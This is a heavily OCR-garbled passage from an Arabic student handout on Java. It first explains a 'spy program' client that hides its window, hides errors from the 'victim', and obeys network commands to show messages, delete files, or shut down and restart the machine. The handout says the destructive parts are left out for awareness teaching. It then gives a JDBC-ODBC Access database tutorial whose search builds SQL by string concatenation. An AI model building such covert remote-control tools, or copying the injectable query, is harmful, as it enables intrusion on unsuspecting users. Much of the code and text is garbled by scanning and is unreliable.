السطر (6نقوم باستدعاء الدالة أ0[ سه" والتي سنقوم يانشائها ووظيفتها قراءة النصوص المرسلة للمتغير .1١‏ 

ملاحظة مهمة في السطر (7): 

لا نقوم بكتابة أي اسنفناء ١10م E×٤8‏ وذلك لأننا لا نريد أن تظهر رسالة خطاء في حالة حدوثه ويعلم ها الضحية» لذلك لا نقوم 
بكنابة الاستناء حقى لا تظهر رسائل الخطاء عند حدوث خطاء في الاتصال أو غيرها من الأخطاء. 


ص“ 
O‏ 


إعداد الطالبان : تج قراف الماد 


سليم شرف ناجي الشميري - هيشم فكري عبد الرقيب العواضي ماهر عبد الرهن 


public vold HewlJoþ iStEind mi | 
1FIm.stLartsWith( "Message - "1) [ 
SLEiNnY xX = u.substringl1ll] ; 
JUptionP ane. showHessageDialog null ,x) ; 
felse if (m.startsWith(" Delete - "| f 
String FP= m.subþstring( 3) ; 
##DeleteE code 
else aad he 


1 
2 
3 
4 
5 
6 
7 
8 
9 


1FI. equals (' '"$Restart"™ ] ] { 
#ResTaAFL Code 


نقوم يانشاء دالة تحت اسم 0( سه" والتي تقوم باستقبال منغير نصي والذي يحنوي على الأوامر المرسلة عبر الشبكة بشكل 

نصوص ونجري على التغبر النصي العمليات التالية : 

السطر (2): إذا كان المتغير ۳١‏ بداء بكلمة- 655386 والتي كتبناها في جهاز السيرفر ووظيفتها إظهار رسالة للضحية 

نقوم بكتابتها نحن في جهاز السيرفر ونرسلها عبر الشبكة بواسطة ها0 إلى الضحية. وحيث أننا نريد فقط نص الرسالة ولا 

نريد أن تظهر كلمة- عمعهةءءمN‏ للضحية 

مغال: لو قمنا يارسال النص التالي عبر الشبكة من جهاز السيرفر : 

“Message —- Your Computer Will Be Shut Down” 

فأننا في السطر (3) :نقنص الكلمة - عمعهءوم" كاملة غم نظهر بقية المنغير 0١‏ والذي يحمل بقية نص الرسالة لكن بعد أن 

نقنص من البداية وحتى الحرف العاشر والذي ينهي بعد إشارة (-). أي نقتص 10 حروف وتظهر الرسالة بعد كملة ٣ا۷0‏ . 

السطر (4): نقوم ياظهار نص الرسالة المراد إظهار للضحية بعد عملية الاقنصاص لتظهر الرسالة التالية فقط : 

.(Your Computer Will Be Shut Down) 

السطر (5: إذا كان المتغير ۳ بداء بكلمة 6٤٠اع0‏ والتي كتبناها في جهاز السيرفر والتي نكب بعدها مسار الملف المراد 

حذفه» فأننا نقوم في السطر (3): بتعريف متغير نصي ص والذي يقوم باقتصاص 9حروف من المتغير ۳ والذي بدء بكلمة 

Delete -‏ ريأ بعده كما شرحنا مسار الملف. 

وحيث أننا نريد فقط مسار الملف فلذلك قمنا باقتصاص 9 حروف من المتغير 1 فلو فرضنا أن المسار المراد حذفه هو التالي : 
:\WINDOWS\Media”)‏ €“ فأن الرسالة المرسلة عبر الشبكة والتي يقوم جا المنغير 01ا0 والذي يحمل لنا كما قلنا 

“Delete - C:\WINDOWS\ Media”: سابقا ما يلي‎ 

وبعملية الاقتصاص يتم اقتصاص الكلمة - 6٠اع0‏ ببقى لنا مسار الملف المراد حذفه فقط وهو التالم: 

.(C:\WINDOWS\Media) 

السطر (8(: إذا بد المخغیر ‏ ېکnlة $Turnoff‏ ففي السطر (9): المغفروض أننا قمنا بكتابة أمر إيقاف تشغيل جهاز 

الضحية لود ٣ ./[Turn Off Code‏ الكود غير موجود وإنغا هنا فقط شرحنا برنامج التجسس لندل الطالب 

على كيفية عمل ملفات التجسس وحتى يعلم كيفية التعام معها ويعلم بوجودها. 

السطر 0 إذا بدء المتغير ٨١‏ بكلمة $Restart‏ ففي السطر (11): المغروض أننا قمنا بكتابة أمر إعادة تشغيل جهاز 

الضحية عبر الكود كه ا٣‏ هاءم۸//. ولكن الكود غير موجود كذلك وإنغا شرحنا طريقة عمل ملفات التجسس. 


وبعد أن شرحنا الأكراد السابقة بقى علينا القيام بتشغيل الكلاسات الخاصة بال ۲۸۲٠۵۵‏ حت يعمل الكود ني جهاز 
الضحية. 


1 | private void formMindowlpenedi java. awt. event. VindovEvent evt) { 

2 ##this.hidel) ; 3 

داخل الحدث الخاص ببداية عمل أو فح الفورم نكنب الكود التالي: ; ) | ConnectTh cTh = new ConnectIh‏ 3 
| لسط cTh.start (| ; o.‏ 4 
د ا ا اور ن ي اا ورد اق ون ا ا و ; listenTh 1Th = new ListenTh()‏ 5 
أو برنامج تجسس في جهازه. ; |( 1Th.start‏ 6 


السط (3: 

نعرف متغير من نوع الكلاس الذي قمنا يإنشائه في نافذة المشروع (الفورم) 
الخاص بالضحية والذي ييحث عن البورت ونكتب فيهكئئه٣كA |٥‏ 

ا لخاص بالجهاز والذي كتبنا فيه البورت الخاص ججهاز السيرفرء ونجعل المتغير 
.ConnectTh سڵںكli وlwa cTH‏ 

السط 4: 

تشغيل الكلاس عبر المنغیر ٤۲٣‏ . 


السطر (5: 


نعرف متغیر من نوع الكلاس الذي قمنا يانشائه في نافذة المشروع (الفورم) 


ا لخاص بالضحية والذي يقوم بقراءة البيانات المرسلة عبر الشبكة وينفذ 
عليها الدالة التي قمنا بكتابتها والمسمى 0ل "٠W‏ لعرفة الأمر المرسل 
أمر إعادة تشغيل جهاز الضحية» ونجعل المنغیر |١۳٢‏ مساوي للكلاس 
.ListenTh‏ 

السطر (6): 

تشغيل الكلاس عبر المتغیر .|٣ ٣‏ 


إعداد الطالبان : تحت اقراف الأ ساد 
سليم شرف ناجي الشميري - هيثم فكري عبد الرقبب العواضي ماهر عبد الر هن 


قواعد البيانات 


درسنا سابقاً في الترم الأول أنه لا بمكن للغة الجافا أن ترتبط بقاعدة بيانات مباشرة مع أي تطبيق مكتوب بمذه اللغةء ولكن يجب علينا 
أولا آذا اردنا أن نربط لغة الجافا بقاعدة البيانات فأنه يجب أن نربطها بنظام التدشغيل وذلك عبر ما يسمى 0۲1۷6٣‏ والموجود في نظام 
النشغيل ويقوم بالربط عن طريق 028€ روالتي تعني ١0١٣۸٥٤۷‏ 08 ۸عمه والذي يقوم بفتح إتصال بقاعدة البيانات 
والتي سنقوم بتحديدها ونربطها بنظام التشغيل. 


تذكير لربط برنامج مصمم بلغة الجافا فأننا نتبع الخطوات التالية: 
1- استدعاء مكتبة الربط والمشغلات. 

أ- استدعاء مكتبة الربط الخاصة بالتعامل مع مل ا50. 

ب- استدعاء المشغل الخاص بالتعامل مع قواعد البيانات من الجافا. 
2- ربط قاعدة البيانات مع البرنامج باستخدام الكائنات. 

.(ConnecCctiom ط¡بlر‎ sli}  - 

ب- إنشاء جل التحکم .)State "٥۸٤‏ 

ت- إنشاء تخزن للبیانات S(‏ غltڑResu).‏ 


ملاحظة: يع أوامر قو اعد البيانات يجب أن تكتب داخل جلة تصيد الأخطاء وحتق وأن كانت صحيحة. 


والآن سنقوم بشرح وإنشاء قاعدة بيانات أكسس. 


( 8 £ 1د : قاعدة بیانات (تنسیق ملف 2000 5یعAcc)‏ 1 


إنشاء جذول قي طريقة عرض النصصيت 
إنشاء جذول باستخدام المجالح 


إنشاء حدذول بإذخال البيانات 


نقوم يانشاء قاعدة بیانات باسم db1‏ کما 
تعلمنا ونسمي الجدول باسم Col_table‏ 
أي جدول الكلية. 


E‏ £ eاtab_اCo‏ : جدول 


ندشئ حقلين الأول باسم ١٥٣_ا٥‏ رقم الكلية من نوع بيانات رقم 
والحقل الان باسم ۳6۴ ۵٣_اه٤‏ اسم الكلية من نوع بيانات نص 


FE Col table : Jوذج‎ 


3 lLol_ho lol_hame 


ونقوم يادخال البيانات التالية إلى الجدول بعد أن قمنا بتصميمه. 
الادارة و الافلا 
لهند ة 


والآن سنقوم بربط قاعدة البيانات بنظام التشغيل لتعمل في لغة الجافا 
1- نذهب إلى لوحة التحكم الموجودة في قائمة أبداأ 


Internet 7 MY Documents 
Internet Explorer 


ِ 0m Py Recent Documenlts F 
E-mail 


ft Office Gutlaok‏ ا 
icrasa ice Dutloo 2 My Pictures‏ 


ı| Media Player Classic 
نذهب وكتار الأداء والصيانة.‎ -2 
aalitaire 


”~ onktrol Panel 


Motepad 
ı set Prograrn Access and 


° Gefaulks 
jetÃîııdio کک‎ Printers and Faxes 


Performance and Maintenance‏ يا 


Microsoft OFFice Word Z003 e Help and Support 
) نذهب وختار الأدوات الإادارية.‎ -2 
Adobe Reader 7,0 


All Programs © 
> Ti Administrative Tools 


2 Lag OFF أ0‎ Turn OFF Computer 0 


إعداد الطالبان : تح إشراف الأسغاذ: 


سليم شرف ناجي الشميري - هينم فكري عبد الرقيب العواضي ماهر عبد الرهن 


Help 


aarch Ey Folders EH; a Folder 5Yrc 


8 هھ 


_ormponenk _armpUker Lata SOUJrZES 
SErYICES Managernenk (DEL) 


3 A BB & ¥ 


aop.ini EY¥ent Yiewer Local Security Microsoft YET Perforrnance SErYICES 
Palicy Frarnewark. .,, 


.«(ODBO نذهب وتار مصادر البيانات‎ -4 
1 ODBC Data Source Administrator 


LIser Uh | System DSH | File DSH | Drivers | Tracing | Lonnectlorn Polina | About | تظهر لنا الشاشة التالية رڪتار منها‎ -5 


إاضافة. 
إضا User Data Sources:‏ 
Microsoft Access Driver [.rmndb]‏ 
dBASE Files Microsoft Base Driver [dbf] RermmoYye‏ 
E#cel Files Microsoft Ecel Driver [*. #3]‏ 
MS Access Database Microsoft Access Driver [*.rmdb] Configure...‏ 
Yisual FoxPro Database Microsoft Yisual Fo#Proa Driver‏ 
YWisual FoxPro T ables Microsoft Yisual Fo#Pro Driver‏ 
ûn DBL lser data source stores Information about haw to connect ta‏ 
the Indicated data provider. û lser data source |3 only YIslble to vou,‏ 
and can only be used on thE current machifE.‏ 
Lancel 2 pp Help‏ 
Create New Data Source‏ 
Driver do Microsoft E cell”. #ls] ‘o leda TU Tee. a‏ 
6 تظهر لنا الشاشة التا ية وختار منها وع ] Drier do Microsoft Parado# [*.db‏ 
قاعدة الانات 3 < ( 3 Driwer para û Microsoft YWlsual FonPro‏ 


Microsoft Access dBASE Driver [.dbf, *.nds, *.md«] 
Access Driver [F.mdb] 

Microsoft Access Driver mdb, *.accdb] 

Microsoft qccess Paradox» Driver [*. db] 

Microsoft Access Tent Driver tet, *.csy] 


Microsoft ûccess-T relber f. mdb] 
* ۴اا‎ 


< Back L.anzel 


إعداد الطالبان : تج راف الا معاد 


سليم شرف ناجي الشميري - هيثم فكري عبد الرقيب العواضي ماهر عبد الرهن 


7- تظهر لنا الشاشة التالية ونكتب في المربع اسم 
الرابط الخاص باسم الكلية ثم نضغط على ز 
مو 1 فق. ODBC Microsoft Access Setup‏ 
Data Source Name: Fk.‏ 
Lescription: Ğ .‏ 
Lancel )‏ 


Uatabaze 


Catabasze: Help ) 
KEEL Repair... | Camparct... 
Advanced... 


System Uatabasze 


f Hone 


` Database: 


Uptioisî+ 


7- تظهر لنا الشاشة التالية ونقوم بتحديد مسار قاعدة Select Database x‏ 


البيانات ف أي مکان داخل جهاز الكمبيوتر 2 زضغطل Database Mame Directories:‏ 
اف .mdb 2:"... desktop" ja32‏ 1| 
على الزر موافق. : 
dbl.mdb ET UULUOMENTS ARI‏ 


E SAMI 
lz Desktop 


(î Java & | Read Only 


® DE 4 
O Databazel يه‎ [| Esclusiyve 


List Files of Type: Dries: 


Access Catabaszes [*. rm + :ع ڪا‎ >| Metwork... 


ا ODBC Data Source Administrator‏ 1 
8- ثم سنعود إلى الشاشة التالية وسنرى أن 


LIser DSN ) System DSN | File DSN | Drivers | Tracing | Connectigr Ease TT 
| | | | | Zها_ الرابط قد تم انشاءه تحت اسم‎ 
lLIszer Data Sources: ٠ 
ag. | e 
ame Dire س‎ | dd... e ea 
Col_Link Microsoft ûccess Driver [*.mdb] وهنا لمنا بر بط نظام التشغيل بقاعدة البيانات.‎ 


dBASE Files Microsoft dBase Driver [dbf] Bemoawye 


E#cel Files Microsoft Excel Driver [F. #ls] 


MS Access Database Microsoft Access Driver [*. mdb] Configure... 


Wisual Fo#Pra Database Microsoft Yisual FoxPro Driver 
Wisual Fo#Proa T ables Microsoft Yisual FoxPro Driver 


ûn ILMBL lser data source stores Information about how to connect to 
the indicated dala provider. Ã Ulzer data source ls only YIslble to You, 
and car only be used on the current machine. 


Lancel | Help ) 


إعداد الطالبان : تحت إشراف الأسناذ: 


سليم شرف ناجي الشميري - هيثم فكري عبد الرقيب العواضي ماهر عبد الرهن 


الآن سنقوم بتصميم الواجهة التالية وكتابة الأكراد الخاصة بها لربطها بقاعدة البيانات. 


شكل البرنامج 


wolleEqE N0 WollEqe NAMIE 


TT eeeren 


سل ااا 


٠ الأكواد‎ 


FH :‏ 
يجب أن نستدعي المكنبة الخاصة بالتعامل مع جل الاستعلام ا50 . Import Java.sqil.*;‏ 
—.orinecCTIioaoNn Corn; €‏ 
Statement Sql ;‏ 


السطر (1): نعرف متغير 00١‏ ليقوم بعملية الربط والاتصال بقاعدة البيانات التي قمن يإنشاءها. es‏ 
السطر (@: نعوف متغر اهو ليقو بتنفيذ جمل الاستعلام. r‏ ج SEEING Sear CH‏ 


السطر (3): نعرف متغیر ۴۶ لخزن نتائج الاستعلام (بيانات) داخل هذا المتغير. 
السطر (4): تعريف متغير للبحث من نوع نص وسنأنن على شرحه لاحقا. 


private void ConnDBi) | 
LEY { 
Llas3. forHame ( "sun. jdbc. odbc. JdbcldbcDriver"™" } ; 
con = DriverHManager.getConnection(" jdbc:odbc:lLol link"); 
sql = con.createStatement (FesultSet. TIPE _SLEULL INSENSITIVE ,FEeEsultset. LUNLURE UPDATABLE) ; 
rs = sq{l.executelueryl" Select * from Lol table" + Search) ; 


DefaultTableHodeEl dtm = new DefaultTableHodel | ) ; 
jJTable1.setHodel (dtm ; 
dtn. addColumn("Lolleqge no") ; 
dtn. addColımn("Lollege name") ; 
1IF{rs.next()] { 
jJTextField1.setText (rs.getString(l"Lol no"}}; 
jJTextFieldz2.setText (rs.getString("Lol name") ] ; 


1 
2 
3 
4 
5 
6 
7 
8 
9 


rs. first]; 
do 1 
Ubject ary[ ]= {ra.getInt ("Lol no") ,rsa.getStringl"Lol name") }; 
dtn. addRow( ary) ; 
while (rs.next())l; 
rs. first li) ; 
i else 
jJTextField1.setText ("") ; 
jJTextFieldz2.setText ("") ; 
j3TableEl1l.removeRll | j ; 
tcatchlException e] { 
JliptionPane . showHessageDialog [null , e. getHessage | | | ; 
Systen.exit [U ; 


في قسم التصريحات نقوم يانشاء الدالة الخاصة بالاتصال بقاعدة البيانات ونسميها 00۸۸08 : 

السطر (3): كئها€ هي مكتنبة خاصة بلغة الجافا وكلمة ٠م۳هل١۲ه۴‏ هي خاصية تابعة للكلاس ووظيفتها استدعاء J08€‏ لتم عملية ربط 
قاعدة البيانات بلغة اطافا. 

السطر (4: الاتصال بقاعدة البيانات عن طريق الرابط الذي قمنا يانشائه والمسمى)"اا_اهع. 

السطر (5): إنشاء جمل استعلام وتطبيقها داخل المشروع والكلام الذي داخل القوس 0 هو لکي تتم عملية التنقل بين السجلات ذهابا وعودة 
وحتى لا بحصل خطاء أثناء التنقل بين السجلات. 

السطر (6): تنفيذ جمل الاستعلام المطلوبة وإسناد نتائجها إلى المتغير .١5‏ 

السطر (8): نعرف مخزن للجدول باسم dm‏ وحث أنه لا یتم تعبئة الجدول إلا عن طريق مصفوفة والمصفوفة ستأخذ البيانات من 508 
وتضعها في المتغير ١‏ والذي يظهرها في الجدول. 

السطر (9): نجعل الجدول يأخذ بياناته من المخغير 4۲١‏ . 

السطر (10ر11): نضيف عمودين في المتغير 4 والذي سينقل العمودين إلى الجدول ونسمى الأول برقم الكلية والغان اسم الكلية 


إعداد الطالبان : تحت إشراف الأسغاذ: 
سليم شرف ناجي الشميري - هينم فكري عبد الرقبب العواضي ماهر عبد الر هن 


السطر (12): بعد جلب البيانات من 08 وأسنداها سجل الى المنغير ۴١‏ فأذا كان هنالك سجل تالي فنفذ التال. 
السطر (13ر14): قم بجلب السجل من 08 وإظهار رقم الكلية في الكائن 41|ع۴†×ع٠ل‏ واسم الكلية في الكائن 42|عأ۴†×ه۲[ . 


السطر(15: الذهاب إلى أول سجل لتنفيذ جملة ال 0٥‏ وحیث أنه قمنا بکتابة ال ماأطWس‏ 00 بدون أن نکتب ۴5.۴٣۶‏ فأنه لن يذهب 
إلى أول سجل وسييدا تنفيذ جملة ال عاأأس 00 من ثا سجل لأا تنفذ ثم تفحص الشرط لذلك قمنا نذهب إلى أول سجل لينتقل إلى ثاب 
سجل ولا يتجاهل أول سجل. 

السطر (17): نعرف متغير من نوع عام ليأخذ البيانات الرقمية رقم الكلية والنصية اسم الكلية من 08 ويضعها في المنغير إ3 لكي يقوم 
المنغير ۲ بأخذ البيانات من المصفوفة وإظهارها في الجدول. 


السطر (18): نقوم ياضافة سجل للمتغير ۳ والذي يأخذ بياناته من المصفوفة والتي تجلب البيانات على سجل سجل من قاعدة 
البيانات(08). 

السطر (19): سيظل تنفيذ الشرط حت لا يصبح هنالك سجل تالي عندها يتم إيقاف إسناد قيم للمصفوفة والمنغير 4١‏ والذي يقوم يعلى 
الجدول بالبيانات . 

السطر (20): العودة إلى أول سجل في قاعدة البيانات. 

السطر (21): عند حالة عدم تنفيذ جملة ال-۴| أي آنه لا يوجد سجل تالي اذهب ونفذ التالم. 

السطر (22ر23): اجعل الکائدبن 2, ۴41 |أ۴ »۸٥۲ل‏ فارغين. 

السطر (24): جعل الجدول فار غ من أسماء الأعمدة حيث أنه عند تزيل الجدول يضع أربعة أعمدة فلذلك نقوم عسحها ونجعل قيم الجدول من 
المخغير 4 . 

السطر (28و29): إظهار رسالة في حالة وجود خطاء في الاتصال بقاعدة البيانات والخروج من التطبيق. 


private vold formWindowlpened ( java. avwt. event, WindovEvent evt) 1 
ConnDB | | ; 


في الحدث الخاص بفتح أو بداية عمل الفورم نقوم باستدعاء الدالة 


الخاصة بالاتصال بقاعدة البيانات . 


إعداد الطالبان : تحت اقراف الأ ساد 


سليم شرف ناجي الشميري - هيم فكري عبد الرقيب العواضي ماهر عبد الرهن 


کو د | New‏ 


private void þtnSaveHouseClickedi java. at. event. MouseEvent evt) 1 
if (btnSave. getText (| .equals ("Nev") ) { 
JTextField1.setEnabled (true ) ; 
JTextFieldz. setEnabled (true ) ; 
1TextFiceld1.setText ("") ; 
1TextFiceld2.setText ("") ; 
btnSave.setText ("save") ; 
} else if(! ([jTextFieldl.getText (|) .equals|""))] s&s !'(jJTextFieldz2.getText (J .egquals("")) | { 
LEY { 
string 3 = "insert into Col table valueEs(?,2)"? 
PreparedStateuent p3 = con. prepareStatement (3) ; 
ps.setInt (l1, Integer. parselnt ( jJ TextFieldl1.getTextll) |; 
p3.setStringl2, jJIextFieldz.gqetText | ) j ; 
int t = ps.executelpdate ( ) ; 
if (t7 Û} [ 
JliptionPane . shoessageDialog null, "Saved...."); 
ConnDB | ) ; 
JTextField1.setEnabled ( false) ; 
JTextField2.setEnabled ( false) ; 


در لم۸ س طب کل 0a‏ ہا 0ه ى60 


1 
btnSave. setText ("Hev") ; 
}catchlException €) { 
JIlptIonPane. showessageD1alog null, E. getHessage | | | ; 
1 
} else { 
JUptionP ane. showMessageDialog (null, "Enter values") ; 


السطر (2): إذا كان الزر الحفظ مساوي لحديد "٥۴W‏ ففذ التالي. 

السطر (3 ر4 و5 و6): أجعل الكائنين 41,2١|آ۴٤×٥۲ل‏ مفعلة وقم بجعل الاسم الظاهري هما مساوي لفراغ. 

السطر (7): أجعل الاسم الظاهري للكائن ١52۷٠‏ يساري $2۷۴ 

السطر (8): وإذا لم يكن الاسم الظاهري للزر حفظ مساوي لحديد قم بتنفيذ جملة ال ۴| الشرط الأخرى والتي تدل على أنه إذا كان الكائنين 
Je» ۴|412‏ لا يسوي فرا غ فنفذ التالي. 

السطر (10): نعرف متغير 5 من نوع نصي ونسند له قيمة والتي هي عبارة عن جملة استعلام نصية وفحواها إدخال بيانات إلى جدول الكلية. 
السطر (11): تقرير قيم الاستعلام الموجودة داخل المتغير ك إلى المتغيركم . 

السطر (12و13: الارقام 1 و 2 تدل على قيم الموجودة بالتوالي في المتغير 5 ؟ تأخذ رقم واحد و ؟ الثانية تأخذ رقم أثنين. وهذين السطرين 
نحتوى على جمل خاصة بعملية تمرير القيم واستبدال علامة الاستفهام المو جودة في المتغير 8S‏ بقيمة في جلة الاستعلام. 


السطر (14): نعرف متغير ٤‏ من نوع رقم ونسند له قيمة وهي عبارة عن الرقم الممر في حالة تنفيذ الاستعلام حيث إذا نفذ الاستعلام فأنه سيتم 
تمرير الرقم واحد والذي يدل على تم تنفيذ الاستعلام والا سيتم تمرير الرقم صفر والذي يدل على أن الاستعلام م ينفذ. 

السطر (15): إذا كان المنغير ‏ أكبر من الصفر أي تم تنفيذ الاستعلام وتم إضافة بيانات فنفذ التالي. 

السطر (16): إظهار رسالة بأنه تم عملية الحفظ. 

السطر (17): استدعاء الدالة أو الاجراء الخاص بالاتصال ليتم إضافة البيانات الجديدة داخل المشروع. 

السطر (18ر19): جعل الخاصية تفعيل الكائنين ۵41,2 ٠|أ۴†×٥J[1‏ مسارية ل هءاج۴ . 

السطر (21): جعل الاسم الظاهري للزر ۸53۷6 يساوي جديد Wع..‏ 


إعداد الطالبان : تحن إشراف الأسغاذ: 
سليم شرف ناجي الشميري - هينم فكري عبد الرقبب العواضي ماهر عبد الر هن 


| Update | كود‎ 


private vold btnlpdateHouseClIickedi java. aut. event. MouseEvent eEvTL] { 
1F (btnUpdate .getText | j .equals ("Update") ) { 
3TextFieldl.setEnabþbled (true ) ; 
JTextFieldz.setEnabled (true ) ; 
btnUpdate. setText ("Save") ; 
i else 1 
LEY { 
string 3= "Update Lol table set Lol name = ? " + 


1 
2 
3 
4 
5 
6 
7 
8 
9 


" Where Lol no = ?"; 
PreparedStatement p3 = con. prepareSsLaltement (3| ; 
ps.setStrIng(l,JlextFiceldz.getText (j } ; 
ps.setInt (2Z, Integer.parselnt ( jJTextField1.getText() }); 
int t = ps.executelUpdate | | ; 
IFT > U} { 
JIIiptionPane. showHessagqeDialog null, "Updated. ..... IF 
ConnDB  ) ; 
fcatch{Exception €) { 
JUptionPFPane . showHessageDialog (null , e. gqetHessage | ) | ; 


السطر (2): إذا كان الزر تعديل مساوي لجحديد ٥ة‏ ملا فنفذ التال. 

السطر (3و4: أجعل الكائنين ۴41,2١|أ۴ [1٥×٤‏ مفعل. 

السطر (5): أجعل الاسم الظاهري للكائن ع dةملا‏ ١ط‏ يساري ٥۷ه؟‏ . 

السطر (8): نعرف متغير 5 من نوع نصي ونسند له قيمة والتي هي عبارة عن جملة استعلام نصية وفحواها تعديل بيانات جدول الكلية بدلالة 
ا لمعغير (؟) رقم الكلية. 

السطر (10): تمرير قيم الاستعلام الموجودة داخل المتغير ك إلى المتغيركم . 

السطر (11ر12): الأرقام 1 و 2 تدل على قيم الموجودة بالتوالي في المتغير 5S‏ ( تأخذ رقم واحد و (؟ الثانية تأخذ رقم أثنين. وهذين 
السطرين تحنوى على جمل خاصة بعملية تمرير القيم واستبدال علامة الاستفهام الموجودة في المنغير 5 بقيمة في جملة الاستعلام 

السطر (13): نعرف منغير ا من نوع رقم ونسند له قيمة وهي عبارة عن الرقم الممر في حالة تنفيذ الاستعلام حيث إذا نفذ الاستعلام فأنه سيتم 
تمرير الرقم واحد والذي يدل على تم تنفيذ الاستعلام وإلا سيتم تمرير الرقم صفر والذي يدل على أن الاستعلام م ينفذ. 

السطر (14): إذا كان المتغير ‏ أكبر من الصفر أي تم تنفيذ الاستعلام وتم إضافة بيانات فنفذ التالي. 


السطر (16): إظهار رسالة بأنه 2 عملية التعديل. 
السطر (17): استدعاء الدالة أو الإجراء الخاص بالاتصال ليتم إضافة البيانات الجديدة داخل المشروع. 
السطر (18: إظهار رسالة الخطاء في حالة حدوث خطاء. 


إعداد الطالبان : تحت اقراف الأ ساد 
سليم شرف ناجي الشميري - هينم فكري عبد الرقبب العواضي ماهر عبد الر هن 


ك د | Delete‏ | 


Private vold JButton?MouseClicked( java. aut. event. MouseEvent evL] { 
if{jJleExtField1.getText (j .egquals"")) 
JlUliptionPane . showHessageDlialog null, "Lant delete Filed"); 
jelse i 
LEY { 
sLrEINg 3 = "Delete from Lol table where Lol no = ?"; 
PreparedStatement p3 = con. prepareSLatement (3) ; 
pP3.setInt (1, Integqer.parselnt (| jJTextField1l.getText |) ) | ; 
int t= ps.executeUpdate | | ; 
if (t2 Û } [f 
JliptionPane. showHessageDialog (null, "DeleEteEd........"); 
ConnDB | ) ; 


1 
2 
3 
4 
5 
6 
7 
8 
9 


fcatch(Exception e) { 
JiptionFane . showHessageDialog lnull , e. gqetHessage | ) | ; 


السطر (2): إذا كان الكائن [٦×۴١ ١41‏ والذي يظهر رقم الكلية مساوي لفراغ. 

السطر (3): إظهار رسالة بأنه لا يوجد رقم للكلية للقيام بعملية الحذف. 

السطر (6): نعرف متغير 5 من نوع نصي ونسند له قيمة والتي هي عبارة عن جملة استعلام نصية وفحواها حذف بيانات جدول الكلية بدلالة 
المنغير (؟) رقم الكلية. 

السطر (7): تمرير قيم الاستعلام الموجودة داخل المتغير ك إلى المتغيركم . 

السطر (8): الرقم 1 يدل على أن المعامل (؟) المو جود في المتغير 5 يأخذ رقم الكلية. وهذا السطر تحنوى على جلة خاصة بعملية تمرير القيم 
واستبدال علامة الاستفهام الموجودة في المتغير 5 بقيمة في جملة الاستعلام وهي قيمة علمية الحذف بدلالة رقم الكلية. 

السطر (9): نعرف منغيرا من نوع رقم ونسند له قيمة وهي عبارة عن الرقم الممر في حالة تنفيذ الاستعلام حيث إذا نفذ الاستعلام فأنه سيتم 
تغرير الرقم واحد والذي يدل على تم تنفيذ الاستعلام وإلا سيتم ترير الرقم صفر والذي يدل على أن الاستعلام نم ينفذ. 

السطر (10): إذا كان المتغير ع أكبر من الصفر أي تم تنفيذ الاستعلام وتم إضافة بيانات فنفذ التالي. 

السطر 11: إظهار رسالة بأنه 2 عملية حذف السجل بد لالة رقم الكلية. 


السطر (12): استدعاء الدالة أو الإجراء الخاص بالاتصال ليتم إضافة البيانات الجديدة داخل المشروع. 
السطر (14): إظهار رسالة الخطاء في حالة حدوث خطاء. 


إعداد الطالبان : تحن إشراف الأسغاذ: 
سليم شرف ناجي الشميري - هينم فكري عبد الرقبب العواضي ماهر عبد الر هن 


pPrivale void þtnSearchHouseClicked( java. awt. Event. MouseEvent eEvL)] 
1f {(jJTextField3.getText | j .equals('"")) { 
| search=""; 
ConnDB i j ; 
} else 
search = " Where Lol name like '%" + jJTextField3.getTextL() + "$"; 


ConnpDB | | ; 


السطر (2): إذا كان الكائن 43١۵ه|أ۴×ع٣٠ل‏ والذي نكب فيه أي نص أو رقم نريد البحث عنه داخل سجلات قاعدة البيانات. 
السطر (3: إسناد قيمة للمتغير الخاص بعملية البحث ويساوي وا 
۱ 4): استدعاء الدالة أو الاج اء الخاص بالاتصال ليتم إضافة البيانات الجديدة داخا المشوء. 

( ا ِ ر 
السطر (5): إذا كان الكائن 168×۴43[ لا يساوي فراغ أي أن هناك نص تم كتابته أو رعا رقم فسوف يقوم بتنفيذ التالي. 
السطر (6): لو لأحظا أنه إثناء إنشاء جملة الاستعلام في الاجراء 08 )0١۸‏ 
rs = sql.executeQuery("Select * from Col_table" + Search); )‏ ( 
وهو ليقوم ياضافة المتغير ۸٣4۲م؟‏ إلى جلة الاستعلام ۴١‏ كما لأحظنا في الكود السابق والذي قمنا بكتابته عند كتابة نص الاتصال بقاعدة 
البيانات ا الاجراء:D8 Con‏ ولتصبح جملة الاستعلام کالتالي: 

Select * from Col_table Where Col_name like '%" + jTextField3.getText() +" %'"; 

۱ 7): استدعاء الدالة أو الإاج اء الخاص بالاتصال ليتم إضافة البيانات الجديدة داخا الم تحديث نافذة المش وع 

)/( ا 1 ar‏ و 


pPrivalLe vold btnLastHouseCl1cked | java. avt. event. MouseEvent evL)] { | کو | ا‎ 


السطر (3: إذا كان المتغير ۴١‏ والذي يحوي على { try‏ 
جملة الاستعلام قد وصل الى آخر سجل فقم بتنفيذ { ifFlrs.lastl))‏ 
التالى jJTextFieldl.setText (rs.getStringi"Lol no");‏ 


JlIeE#LFieldzE.setLtText lrs.getSLrIL "Lol name"); SE 
: : . e n4 | السطور 4ر5: اسند قتيمة للكائين 1 ا‎ 


fHcatch (Exception €] { قیم المنغیر ۴۶ لأول عمود في‎ JTextFiled1,2 
JOptionPane . showMessageDialog (null , 2. getMessage | | | قاعدة البيانات وثاي عمود.‎ 

السطر (7): تنفيذ جملة الاأستخناء في حالة وجود ۲ 
خطاء. 1 


ک د private vold btnHextLHouseClIicked( java. aut. Event. MouseEvent ETL] { wun‏ 
LEY {‏ 
السطر (3): إذا كان المغير ۴١‏ والذي يحتوي على { if(!{rs.isLast()) ss rs.next())‏ 
جملة الاستعلام لا يساوي آخر سجل وكذلك ;}| jTextField1.setText (rs. getString("Co0l no")‏ 
هنالك سجل تالي فقم بتفيذ التالي. JlextFlieldd.setText (rs.getStrIingi"Lol name") j;‏ 
السطور 4ر5: اسند قيمة للكائين 1 


jcatch{(Exception €) { 


e1,2اreXtFل‏ تیم المخغیر ك٣‏ لا و 
م ار ا JllptI1onPane .showessageDlalog null , E. getHessage | j j‏ 


قاعدة البيانات وثان عمود. 
السطر (7): تنفيذ جلة الاأستخناء في حالة وجود 
خطاء. 


إعداد الطالبان : تج قراف الماد 


سليم شرف ناجي الشميري - هينم فكري عبد الرقيب العواضي ماهر عبد الرهن 


در لم س کط 6O 00 كùaل @ U‏ 


در لم س کب U‏ 0 لا 00 > در لم س کہ O U‏ ل۷ 0 6O‏ 


ص“ 
O‏ 


private voild btnPreviousHouseClIicked( java. aut. Event. MouseEvent eEvTL)] 2 | کود‎ 


1 

السطر (3: إذا كان المتغير ۴١‏ والذي يحتوي على : { try‏ 2 
